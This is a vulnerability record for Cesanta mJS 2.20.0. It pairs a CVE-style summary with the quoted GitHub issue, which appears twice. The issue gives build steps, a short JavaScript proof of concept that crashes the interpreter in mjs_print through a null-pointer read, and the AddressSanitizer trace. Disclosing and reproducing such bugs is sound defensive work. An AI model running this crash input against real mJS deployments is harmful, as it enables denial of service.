Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_print at src/mjs_builtin.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case

```javascript
function D(i) {
    print++i
    return [i];
}
function A() {
    return D.apply(print(chr(D.apply(print(chr(0)), [i, 1, 2, 3]))), [i, 1, 2, 3]);
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(89)[0]
JSEtest(0.2)
```

​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
\x00
null
ASAN:DEADLYSIGNAL
=================================================================
==55629==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55789394d7f2 bp 0x000000000095 sp 0x7ffdc33bd878 T0)
==55629==The signal is caused by a READ memory access.
==55629==Hint: address points to the zero page.
    #0 0x55789394d7f1 in mjs_print src/mjs_builtin.c:18
    #1 0x557893968244 in mjs_execute src/mjs_exec.c:853
    #2 0x557893971a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x557893971a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x55789392e909 in main src/mjs_main.c:47
    #5 0x7f7c0e673b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x55789392f449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:18 in mjs_print
==55629==ABORTING

```
Credits: Found by OWL337 team.
SEGV src/mjs_builtin.c:18 in mjs_print
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV src/mjs_builtin.c:18 in mjs_print
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case

```javascript
function D(i) {
    print++i
    return [i];
}
function A() {
    return D.apply(print(chr(D.apply(print(chr(0)), [i, 1, 2, 3]))), [i, 1, 2, 3]);
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(89)[0]
JSEtest(0.2)
```

​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
\x00
null
ASAN:DEADLYSIGNAL
=================================================================
==55629==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55789394d7f2 bp 0x000000000095 sp 0x7ffdc33bd878 T0)
==55629==The signal is caused by a READ memory access.
==55629==Hint: address points to the zero page.
    #0 0x55789394d7f1 in mjs_print src/mjs_builtin.c:18
    #1 0x557893968244 in mjs_execute src/mjs_exec.c:853
    #2 0x557893971a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x557893971a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x55789392e909 in main src/mjs_main.c:47
    #5 0x7f7c0e673b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x55789392f449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:18 in mjs_print
==55629==ABORTING

```
Credits: Found by OWL337 team.
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